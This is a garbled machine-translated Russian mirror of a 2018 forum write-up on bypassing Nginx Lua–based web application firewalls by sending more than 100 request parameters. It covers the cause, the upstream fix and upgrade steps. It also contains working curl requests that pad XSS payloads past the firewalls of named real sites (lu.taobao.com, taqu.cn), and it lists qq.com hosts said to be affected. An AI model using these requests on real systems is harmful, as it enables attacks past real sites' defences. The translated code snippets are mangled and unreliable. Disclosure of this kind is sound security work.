Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 16994|Ответ: 1

[уязвимость безопасности] Уязвимость файрвола приложений WAF в Nginx Lua

[Скопировать ссылку]
Опубликовано 27.04.2018 9:23:29 | | | |
Когда Ginx Lua получает параметры, первые 100 значений параметров по умолчанию получаются, а остальные отбрасываются.
Таким образом, WAF, использующие Nginx Lua, будут по умолчанию обходиться.
20 апреля 18 апреля кто-то из пассажира охраны уже сообщил об этом, поэтому я также опубликовал статью 233.



Принцип

Официальное описание следующее

Обратите внимание, что по умолчанию парсируется максимум 100 аргументов запроса (включая те, что имеют одинаковое название), а дополнительные аргументы запроса тихо отбрасываются для защиты от потенциальных возможностей Атаки отказа в обслуживании.

По умолчанию можно парсировать до 100 параметров запроса (включая те, что с таким же названием), а дополнительные параметры запроса автоматически удаляются для предотвращения возможных атак типа отказа в обслуживании.

Поиск 100, примерно следующий метод имеет ту же проблему.
ngx.req.get_uri_args Получите параметры запроса для получения
ngx.req.get_post_args Получите параметры запроса для поста
ngx.req.get_headers Получите заголовок запроса
ngx.decode_args Декодировать URL параметров
ngx.resp.get_headers Получите заголовок ответа
В исходном коде lua-nginx-module видно, что исходный код устанавливает параметр максимального запроса и заголовок по умолчанию равным 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Однако официальное лицо предоставляет метод изменения значения по умолчанию, например, ngx.req.get_uri_args (200) для получения первых 200 параметров запроса.

Тест

Если параметр запроса равен 101, последний параметр запроса получить невозможно.

Curl -v «http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg»

Если уменьшить один параметр запроса, можно получить последний параметр запроса, когда параметры запроса равны ровно 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
Ответ: ZBG
Я тебя понял, ZBG

Обратите внимание, что по умолчанию действительно 100 параметров запроса, и параметры запроса после 100 параметров запроса будут отброшены.

Есть странная вещь, что в возвратном содержимом выше, в середине грубой позиции, конечный параметр zbg уже выходит. Я предполагаю, что выход не в порядке, но порядок разбора соответствует порядку подачи параметров, потому что при 101-м параметре zbg это значение нельзя получить.

Прилагается python-скрипт, который генерирует параметры:

# Автор: ZBG
# почта:zbg@zbg.org
# Дата: 2018-04-03

a = ''
для i в диапазоне (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Печать A
ремонт
Конечно, не рекомендуется изменять значение MAX параметра в исходном коде. Потому что, независимо от того, насколько большое значение вы установили, его можно обойти. Рекомендуется устанавливать его через параметры метода.
Если вы сможете получить длину параметра запроса и использовать метод вроде ngx.req.get_uri_args (lenth), разве этого не будет достаточно?
Прочитав документацию, я обнаружил, что количество запрошенных параметров получить не удалось. Однако, если установить длину в 0, можно получить все запрошенные параметры.

Этот аргумент можно установить в ноль, чтобы убрать лимит и обработать все полученные запросные аргументы.
Местные ARGS = ngx.req.get_uri_args(0)

Однако настоятельно не рекомендуется ставить его в 0, чтобы предотвратить возможные атаки типа отказ в обслуживании.

Снимать max_args колпачок настоятельно не рекомендуется.

На самом деле, я задумался, почему установка 0 может привести к возможной атаке отказа в обслуживании, и запрос всё равно отправляется в nginx, независимо от того, сколько параметров было в get или post.

Я поднял вопрос официальному лицу, и автор сказал, что ngx.req.get_uri_args (0) увеличит использование процессора и памяти сервера. Позже я протестировал 200 параметров и использовал Nginx+php для получения 200-го параметра, что означает, что Nginx по умолчанию не ограничивает количество запрошенных параметров. Тогда проблема может быть в самом Nginx Lua,Когда Nginx Lua использует ngx.req.get_uri_args(0) для получения всех параметров и просматривает их, когда запрашивается много параметров, это потребляет больше процессора и памяти, что в итоге даже приводит к отказу в обслуживании

03.04.2018 Bypass007 официально поднял ВОПРОС по поводу исправления ошибки и наконец добавил новую функцию, основанную на этой ПРОБЛЕМЕ, 21.04.2018. Адрес записи подтверждения этой функции: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Описание функции следующее: в версиях после v0.10.13 (включая v0.10.13), при нарушении лимита количества запросов, вторым возвращаемым значением становится усечённая строка.
Начиная с версии v0.10.13, когда лимит превышается, возвращается второе значение — строка «усечённая».
Однако необязательный аргумент функции max_args может быть использован для отмены этого предела:
Местные ARGS, err = ngx.req.get_uri_args(10)
если err == «усечён», то
     -- здесь можно проигнорировать или отклонить текущий запрос
Конец

Так что вышло окончательное решение.

Обновить lua-nginx-module до версии 0.10.13 или более поздней

Тогда ограничите общее количество параметров, а по тому, насколько ограничено общее число, лично я считаю, что 100 достаточно

OpenResty обновляет модуль lua-nginx-module

Я не нашёл никакой информации о модуле улучшения OpenResti, поэтому сам разобрался, как улучшить модуль lua-nginx.

Шаги следующие:

Скачайте соответствующую версию модуля lua-nginx-module
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
распаковывать
tar -zxvf v0.10.13
Удалить предыдущую версию lua-nginx-module
RM -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Скопировать новый lua-nginx-модуль
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Для компиляции обратитесь к параметрам компиляции VeryNginx


Обход корпуса

Следует уточнить, что следующие WAF я не уверен, стоит ли использовать Nginx Lua, но их можно обойти по общему числу параметров.

Али WAF

Этот WAF — это WAF, используемый внутри Alibaba, то есть WAF, используемый доменными именами, такими как *.taobao.com, и не был протестирован для облачного WAF, продаваемого Alibaba Cloud.
Сначала запросите POST XSS Payload для перехвата.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
С помощью Fuzz было установлено, что при увеличении количества параметров до 478 с помощью XSS Payload их перехватывают, и сайт становится доступен нормально.
завор -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Протестированный WAF — это WAF, продаваемый UCloud.
Когда параметр запроса увеличивается до 138, он больше не блокируется, и сайт будет доступен нормально.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Этот WAF — это WAF, используемый Tencent внутри, то есть WAF, используемый доменными именами, такими как *.qq.com, и не был протестирован для облачного WAF, продаваемого Tencent Cloud.
Когда параметр запроса увеличится до 4000, он больше не будет блокироваться, и сайт будет доступен нормально. Случайные тесты следующих областей затронут.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

сводка

Этот вопрос очень прост, и вы можете найти его, внимательно прочитав документ. Но почему я не узнал? Думаю, это всё ещё слишком мало мыслей.
Ссылка
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Предыдущий:Учитесь Photoshop с нуля, 18 уроков от новичка к богу
Следующий:Сильные и слабые стороны Lua и Luajit
Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com